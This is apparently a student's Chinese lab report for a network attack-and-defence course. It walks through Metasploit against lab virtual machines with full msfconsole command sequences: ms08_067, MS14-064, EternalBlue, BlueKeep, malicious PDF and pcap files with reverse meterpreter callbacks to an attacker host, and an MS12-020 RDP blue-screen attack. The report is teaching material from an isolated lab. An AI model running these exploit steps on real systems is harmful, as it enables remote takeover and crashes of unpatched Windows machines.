• 2019-2020-2 20175218陈敬勇 《网络对抗技术》 Exp6 MSF基础应用


    2019-2020-2 20175218陈敬勇 《网络对抗技术》 Exp6 MSF基础应用

    一、实践目标

    掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。

    二、实践内容

    1. 一个主动攻击实践,如ms08_067;
    2. 一个针对浏览器的攻击,如ms11_050;
    3. 一个针对客户端的攻击,如Adobe;
    4. 成功应用任何一个辅助模块。

    三、实践原理

    1. MSF基本框架

    1. 主要模块

      • 模块是指Metasploit框架中所使用的一段软件代码组件。

        • 渗透攻击模块(Exploit Modules)
        • 辅助模块(Auxiliary Modules
        • 攻击载荷(Payload Modules)
        • 空字段模块(Nop Modules)
        • 编码模块(Encoders)
        • 后渗透攻击模块(Post)
      • 通过命令进入源码目录:/usr/share/metasploit-framework/modules 也可以看到相应模块

    1. msfconsole的相关操作

      • 查看模块的具体信息:info
      • 查看回链攻击载荷:show payloads
      • 查看设置信息:show options
      • 查看攻击目标类型:show target
      • 查找命令:search + 查找信息
      • 列出会话:sessions -l

    四、实验步骤

    任务一:一个主动攻击实践

    ms08-067(成功)

    实验环境

    攻击机:kali(192.168.11.128)
    靶机:Windows 2000 Professional(192.168.11.145)
    

    实验准备

    • 测试靶机与攻击机之间能否ping通

    • 攻击机 kali 通过命令 nmap -sS -A --script=smb-vuln-ms08-067 -PO 192.168.11.145 试探靶机是否存在此漏洞

    在攻击机 kali 中通过 msfconsole 进入控制台,依次输入以下命令:

    use exploit/windows/smb/ms08_067_netapi
    set payload generic/shell_reverse_tcp
    set LHOST 192.168.11.128
    set LPORT 5218
    set RHOST 192.168.11.145
    set target 0
    exploit
    

    • 发现攻击成功,这里用的所攻击的靶机是 Windows 2000 ,可以输入ver查看系统版本

    • 还可以输入其他命令获取信息,例如dir

    任务二:一个针对浏览器的攻击

    (一)MS14-064---win7篇(失败且唯一)

    实验环境

    攻击机:kali(192.168.11.128)
    靶机:Windows 7(192.168.11.144)
     IE版本:8.0.7601.17514
    

    • 在攻击机 kali 中通过 msfconsole 进入控制台,依次输入以下命令:

    • use exploit/windows/browser/ms14_064_ole_code_execution

    • show payloads //显示可用攻击载荷

    • set payload windows/meterpreter/reverse_tcp

    • set SRVHOST 192.168.11.128 //设置攻击机IP

    • set LHOST 192.168.11.128 //攻击机IP

    • set LPORT 5218 //设置攻击端口

    • show targets

    • set target 1

    • show options

    • exploit

    • 将生成的URL地址在 win7 的IE浏览器中打开

    • 回到 kali 发现似乎没有成功。回车一下,通过 sessions 查看会话状态,果然没有成功建立会话连接

    • 尝试换一个载荷 windows/shell_bind_tcp 进行攻击

    • 将生成的URL地址在 win7 的IE浏览器中打开

    • 结果仍然没有成功获取会话连接

    • 多次尝试攻击win7的IE发现都是无法获取到成功的会话连接,上网查询相关原因,发现有人说是最新win7已经修复了这个漏洞,只能尝试攻击其他系统

    (二)MS14-064(payload windows/shell_bind_tcp)---winxp篇(成功且唯一)

    实验环境

    攻击机:kali(192.168.11.128)
    靶机:Windows XP(192.168.11.146)
     IE版本:8.0.6001.18702
    

    • 在攻击机 kali 中通过 msfconsole 进入控制台,依次输入以下命令:

    • use exploit/windows/browser/ms14_064_ole_code_execution

    • set payload windows/shell_bind_tcp

    • set SRVHOST 192.168.11.128 //设置攻击机IP

    • set LHOST 192.168.11.128 //攻击机IP

    • set LPORT 5218 //设置攻击端口

    • show targets

    • set target 0

    • show options 发现还需要设靶机IP

    • set RHOST 192.168.11.146 //靶机IP

    • exploit

    • 将生成的URL地址在 win7 的IE浏览器中打开

    • 回到 kali 发现好像是成功。回车一下,通过 sessions 查看会话状态,发现有一个会话连接。通过输入sessions -i 1获取第一个会话连接,并输入ipconfig验证为靶机地址,还可以输入ver获取系统版本信息

    (三)ms17_010---win7篇(成功)

    实验环境

    攻击机:kali(192.168.11.128)
    靶机:Windows 7(192.168.11.144)
     IE版本:8.0.7601.17514
    

    • 在攻击机 kali 中通过 msfconsole 进入控制台,依次输入以下命令:

    • use exploit/windows/smb/ms17_010_eternalblue

    • show payloads //显示可用攻击载荷

    • set payload generic/shell_reverse_tcp

    • set RHOST 192.168.11.144 //靶机IP

    • set LHOST 192.168.11.128 //攻击机IP

    • set LPORT 5218 //设置攻击端口

    • show options

    • exploit

    • 在靶机 win7 的IE浏览器输入 https://攻击机IP:监听端口

    • 回到 kali 发现攻击成功。回车一下,出现命令行

    • 通过命令ver获取系统版本(这里竟然乱码了...),通过命令 ipconfig 查看验证靶机IP地址

    任务三:一个针对客户端的攻击

    (一)Adobe(成功)

    实验环境

    攻击机:kali(192.168.11.128)
    靶机:Windows XP(192.168.11.146)
    

    • 在攻击机 kali 中通过 msfconsole 进入控制台,依次输入以下命令:

    • search adobe //进行查找

    • use windows/fileformat/adobe_cooltype_sing

    • set payload windows/meterpreter/reverse_tcp

    • set LHOST 192.168.11.128 //攻击机IP

    • set LPORT 5218 //设置攻击端口

    • show options

    • exploit

    • 生成msf.pdf(之前可以通过命令set FILENAME +名字 来生成自定义的名字)保存在 /home/kali/.msf4/local 目录下

    • 另外打开一个终端通过命令 cd /home/kali/.msf4/local 进入目录,输入 ls 可以查看到文件所处其中

    • 输入命令 mv msf.pdf /home/kali/wlgf/exp6 将生成的 msf.pdf 移动到指定目录下

    • 然后可以在图形界面进入到该刚刚指定目录,将文件先复制到主机 WIN10 上,再从 WIN10 将文件复制到靶机 WIN XP 上

    • 控制台中直接通过use exploit/multi/handler,进入监听模块,或者先输入back退出当前模块,然后再输入以下命令:

    use exploit/multi/handler
    set payload windows/meterpreter/reverse_tcp
    set LHOST 192.168.11.128
    set LPORT 5218
    exploit
    
    
    • 然后在靶机 winxp 中双击运行 msf.pdf 文件,回到攻击机 kali 中就可以看到回连成功。通过命令 ipconfig 可以查看靶机的ip地址;通过命令 ver 查看系统版本信息

    • 当在靶机将文件 msf.pdf 关闭后(关闭就能会报无响应),在攻击机上可以看到会话关闭

    (二)wireshark(成功)

    实验环境

    攻击机:kali(192.168.11.128)
    靶机:Windows XP(192.168.11.146)
    wireshark 版本:1.4.0.34005
    

    • 在攻击机 kali 中通过 msfconsole 进入控制台,依次输入以下命令:

    • use windows/fileformat/wireshark_packet_dect

    • set payload windows/meterpreter/reverse_tcp

    • set LHOST 192.168.11.128 //攻击机IP

    • set LPORT 5218 //设置攻击端口

    • set FILENAME 20175218cjy.pcap //设置生成文件的名字

    • exploit

    • 生成 20175218cjy.pcap 保存在 /home/kali/.msf4/local 目录下

    • 另外打开一个终端通过命令 cd /home/kali/.msf4/local 进入目录,输入 ls 可以查看到文件所处其中

    • 输入命令 mv 20175218cjy.pcap /home/kali/wlgf/exp6 将生成的 20175218cjy.pcap 移动到指定目录下

    • 然后可以在图形界面进入到该刚刚指定目录,将文件先复制到主机 WIN10 上,再从 WIN10 将文件复制到靶机 WIN XP 上

    • 控制台中直接通过use exploit/multi/handler,进入监听模块,或者先输入back退出当前模块,然后再输入以下命令:

    use exploit/multi/handler
    set payload windows/meterpreter/reverse_tcp
    set LHOST 192.168.11.128
    set LPORT 5218
    exploit
    
    
    • 然后在靶机 winxp 中双击运行 20175218cjy.pcap 文件,回到攻击机 kali 中就可以看到回连成功。通过命令 ipconfig 可以查看靶机的ip地址;通过命令 ver 查看系统版本信息

    • 当在靶机将文件 20175218cjy.pcap 关闭后(关闭就能会报无响应),在攻击机上可以看到会话关闭

    任务四:成功应用任何一个辅助模块

    在实验二最初接触MSF的时候,在网上进行搜索,无意间发现了这个攻击,但是由于但是对MSF模块也不是很熟悉就放弃了。这次利用模块进行攻击,我就想起这个来了,然后在这里就进行尝试,不知道有没有人跟我一样用到这个(这个攻击在网上挺容易搜到的......)

    (一)kali-蓝屏攻击(ms12-020)--win7篇(失败且唯一)

    实验环境

    攻击机:kali(192.168.11.128)
    靶机:Windows 7(192.168.11.144)
    

    • 在 kali 中输入 cd /usr/share/metasploit-framework/modules/auxiliary 进入辅助模块,输入ls查看到 dos ,进入 /dos/windows/rdp 就可以看到 ms12-020 了

    • 在攻击机 kali 中通过 msfconsole 进入控制台,输入命令 search ms12-020 搜索到 ms12-020 模块

    • 其中,上面那个 auxiliary/dos/windows/rdp/ms12_020_maxchannelids 是攻击模块,这里暂时先不用它,先用下面的搜索模块进行搜索,查看是否具有攻击条件

    • 输入 use auxiliary/scanner/rdp/ms12_020_check //使用搜索模块

    • 然后输入 show options 查看配置信息

    • 可以看到这个攻击需要靶机开启3389端口,而且是启动 RDP 服务的(远程桌面控制)。看来这个条件还是略微有点复杂,这里就先在win7上打开3389端口和启动 RDP 服务,具体方法参考开启和关闭远程Windows系统3389端口RDP服务开启

    • 然后在 kali 中输入 set RHOSTS 192.168.11.1/24 //设置扫描网段

    • 在通过 run 开始扫描网段内 3389 打开的地址

    • 当扫描到 192.168.11.144 的时候,发现它的 3389 端口是打开的,接下来就可以进行攻击了,也就是使用 auxiliary/dos/windows/rdp/ms12_020_maxchannelids 模块

    • 依次输入以下命令:

    • use auxiliary/dos/windows/rdp/ms12_020_maxchannelids

    • set RHOST 192.168.11.144 //靶机IP

    • show options

    • run

    • 很兴奋得输入run回车,转到win7就等着出现蓝屏,结果等了一会,啥反应也没有。回到 kali 一看,发现显示说 RDP 服务没开。

    • 这就很纳闷了,明明是打开的,为啥不行呢,上网查了之后发现说最新的win7已经修复了这个漏洞,我......这个是不是得弄个老版没有打啥补丁的win7来啊......唉,还是换个系统看看

    (二)kali-蓝屏攻击(ms12-020)--windows server 2008篇(成功且唯一)

    实验环境

    攻击机:kali(192.168.11.128)
    靶机:Windows server 2008(192.168.11.132)
    

    • 同样还是先进行扫描,条件具备后,现在进行攻击

    • 依次输入以下命令:

    • use auxiliary/dos/windows/rdp/ms12_020_maxchannelids

    • set RHOST 192.168.11.132 //靶机IP

    • run

    • 这次我就先在 kali 等着,发现显示 down ,赶紧到 Windows server 2008 一看,果然蓝屏了!

    为了防止跟同学重复(毕竟网上比较容易看到这个蓝屏攻击(ms12-020),于是我继续做了一个辅助模块的)

    (三)CVE-2019-0708漏洞复现(成功且唯一)

    实验环境

    攻击机:kali(192.168.11.128)
    靶机:Windows XP(192.168.11.146)
    

    • 在攻击机 kali 中通过 msfconsole 进入控制台,通过 search 0708 搜索0708相关模块,这里先使用扫描模块

    • 依次输入以下命令:

    • use auxiliary/scanner/rdp/cve_2019_0708_bluekeep //使用扫描模块

    • show options

    • set RHOST 192.168.11.146 //靶机IP

    • run

    • 发现这个也是利用了 3389 端口以及远程桌面控制,那几个RDP服务都是启用的(这个也能造成蓝屏)。扫描结果说可以攻击,但是有可能被杀掉,先不管,攻击了再说(为啥攻击就觉得很兴奋...)

    • 依次输入以下命令:

    • use exploit/windows/rdp/cve_2019_0708_bluekeep_rce //使用攻击模块

    • show targets //选择目标主机类型

    • set target 4

    • set RHOST 192.168.11.146 //靶机IP

    • run

    • 结果真如扫描一样,可能被杀掉这个,但是没关系,可以重复 run 直到出现会话连接

    • 出现会话连接,我到 winxp 上查看,发现竟然没有蓝屏

    • 回到kali中,回车一下,出现命令行,通过命令 ver 可以查看系统版本

    关于没有蓝屏,我觉得可能就是因为这个杀掉了的原因,但是通过多次攻击run,建立了会话,还是可以获取shell,但是蓝屏却弄不了了,这个还是winxp,网上很多人都是win7及以上基本上都修复了这个漏洞,所以这里就没有测试win7了(不想第三次在win7上摔倒...)

    五、实验中遇到的问题

    问题一

    这其实是我的辅助模块的一个尝试,就是利用辅助模块中的docx,也就是通过生成一个docx文件,然后启用监听,在靶机上运行,然后获取回连。我攻击的对象是winxp,由于在winxp上没有安装打开docx的word之类的软件,然后又由于winxp系统的版本比较老,所以上网搜索可以适用的word版本,发现wps都可以适用。然后下载安装wps,用wps打开文件,结果发现不能建立回连,在kali上都没反应。

    解决方法: 后来重新上网查询,发现word2003可以适用于winxp,于是又下载了word2003。然后重新选择载荷,重新生成了一个docx文件,复制到winxp中用word打开,发现成功建立回连,这好像跟office有关,这个攻击也是针对office的一个攻击,幸好2003版本也是比较老了,不然攻击成功与否还是难以预料的,由于做的时候出错了,也算是在尝试,没有截图,所以不好写入实验步骤中,就没有写进去了,仅在这里进行阐述。

    还有一个不算问题,就是最后每次在攻击前将虚拟机拍摄一个快照,这样如果真的把虚拟机弄崩了(几率较小),还可以回到之前的状态而不用重新安装虚拟机,这也算是一个建议吧。

    六、实践思考

    问题一

    (1)用自己的话解释什么是exploit,payload,encode.

    答:

    • 对于exploit,中文意思有利用的意思。就是像开始一样,进行渗透攻击。然后进一步说,就像在实验中,每一次设置好之后都会进行exploit,这也是最激动兴奋的时候,因为一执行它,攻击或者扫描就开始了。当然也可以用run,它们是等效的,就像我在做辅助模块那就是用的run;
    • 对于payload,中文意思是有效载荷的意思。比如飞机啊,轮船啊等,它们都有荷载,如果没有荷载或者荷载匹配错误的话,那么将无法运行。实验中也是一样,如果不设置荷载或者荷载设置错误,那么是无法进行攻击的;
    • 对于encode,中文意思是编码的意思。我觉得就是可以通过编码来对一些代码进行修改。就比如我们之前做过的后门程序,可以通过编码来消除一些特征码来降低被杀软查杀的概率。

    七、离实战还缺些什么技术或步骤?

    答:通过这次实验,我还是知道这些攻击的不容易,跟实战还是有一定的差距的,比如:

    • 缺少丰富的攻击手法,只熟悉尝试过的几种攻击手法,其他的需要在尝试中才能熟练了解。一旦靶机进行了相应的打补丁修复等,如果没有新的攻击方式,那么是很难攻击成功的,而且在实战中也没有这么多去尝试的机会
    • 对靶机要求性高,就像我被win7都制裁了两次,只能去找那些发行时间早的系统来攻击才能成功,比如winxp或者更古老的win2000。而且还要打开什么端口啊,开启什么服务啊,就像这次实验中打开3389端口和RDP服务一样,需要这些要求满足才能进行相应攻击
    • 对于一些需要植入攻击,如果没有什么隐蔽保护机制,就像加壳,或者说免杀这个的话,很容易在植入时就被杀软发现了,或者是想要运行时就被杀软拦截了,所以还是有一定困难的;而对于针对浏览器的网站攻击,需要靶机去登录这个网站,一般来说,对于这些奇怪的网站,一般的不会去进入的,除非是有一些诱导手段,或者执行跳转,还是有一定困难的

    八、实验收获与感想

    这次实验,总的来说不是很困难,但是做得还算比较顺利,特别是跟上一次实验对比,简直是轻松太多了(还在上一次实验阴影中...)。而且这次实验的过程还非常有趣,富有挑战性,每一次攻击都是一次挑战,攻击成功就是挑战成功,攻击失败则为挑战失败,很刺激。当然成功的时候很高兴,失败就不行了(被win7制裁2次...)。总而言之,这次实验,通过不断尝试利用MSF进行攻击,这样来掌握了metasploit的基本应用方式,对常用的三种攻击方式也熟悉了不少,学到了很多,但是同时也知道,自己对于真的的技术还是差很多的,就像这次,被win7都制裁了三次,只能拿winxp来,或者更古老的win2000来出气......所以希望在以后的学习中能够学到更多,不断充实自己。

    九、参考资料

  • 相关阅读:
    Java实现 蓝桥杯VIP 算法训练 二元函数
    Java实现 蓝桥杯VIP 算法训练 二元函数
    Java实现 蓝桥杯VIP 算法训练 二元函数
    Java实现 蓝桥杯VIP 算法训练 二元函数
    Java实现 蓝桥杯VIP 算法训练 二元函数
    创建虚拟桌面的代码(重启桌面进程)(使用GetThreadDesktop,CreateDesktop,SetThreadDesktop等函数)
    SEH and C++ Exceptions,自定义CSeException
    VC自动与Internet时间服务器同步更新
    VS2005 检测内存泄漏的方法(转载)
    VC判断当前用户有无Administrator的权限(用EqualSid API函数判断与Admin是否在一个组的Sid)
  • 原文地址:https://www.cnblogs.com/cjy-123/p/12786083.html
Copyright © 2020-2023  润新知